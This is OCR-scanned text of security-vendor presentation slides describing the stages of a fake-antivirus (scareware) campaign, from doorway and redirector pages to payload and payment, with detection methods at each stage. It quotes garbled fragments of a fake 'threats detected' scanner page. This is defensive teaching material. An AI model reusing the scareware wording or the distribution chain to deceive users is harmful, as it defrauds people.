_Promo__
Payload
_Install _
Payment_

Payment

74
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Typical FakeAV

75

Doorway

Redirector

Promo
Payload

Install

Payment

Jany

* Fake "My Computer” (or Finder)

scanner page

Detection:

« URL/domain blocking

« HTML/JS content:
= Mal/FakeAvJS

o3 Local Disk (C) %a Local Disk {D:}
W 24 threats & 10threats

indows Web Security has

Detested sprwaare and advaare on your computer:

~

Admess. Trojan
2serv.iransponder.frojan
Watart. TrojanDownloader

e

[ R:nw;;al ][7 é«m ]

ol i
Spyware s softesare, which can gather informaticn from user's computer through 2008 33
Iiternet cocnection arvd sand them to its creator, Gatherad information canbe
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Typical FakeAV

Doorway  Often hosted on the same page as
‘promo”

* Hard to get to
Redirector * SSP

TDS

 Doorway_
DS _
Redirector
_Promo__
_Payioad
_Install _
Payment_

Promo Detection:

« URL/domain blocking
* Binary detection

Payload

Install = Mal/FakeAvdJS
= EnkPack
Payment = Cloud
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Typical FakeAV
On endpoints:

TDS

» Context based detection — correlating

registry keys, file names with binary
“genes,,

* HIPS — runtime behavior analysis

Install
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Thank youl!

Some recommended resources

http://nakedsecurity.sophos.com

http://www.facebook.com/SophosSecurity

http://krebsonsecurity.com

SOPHOS
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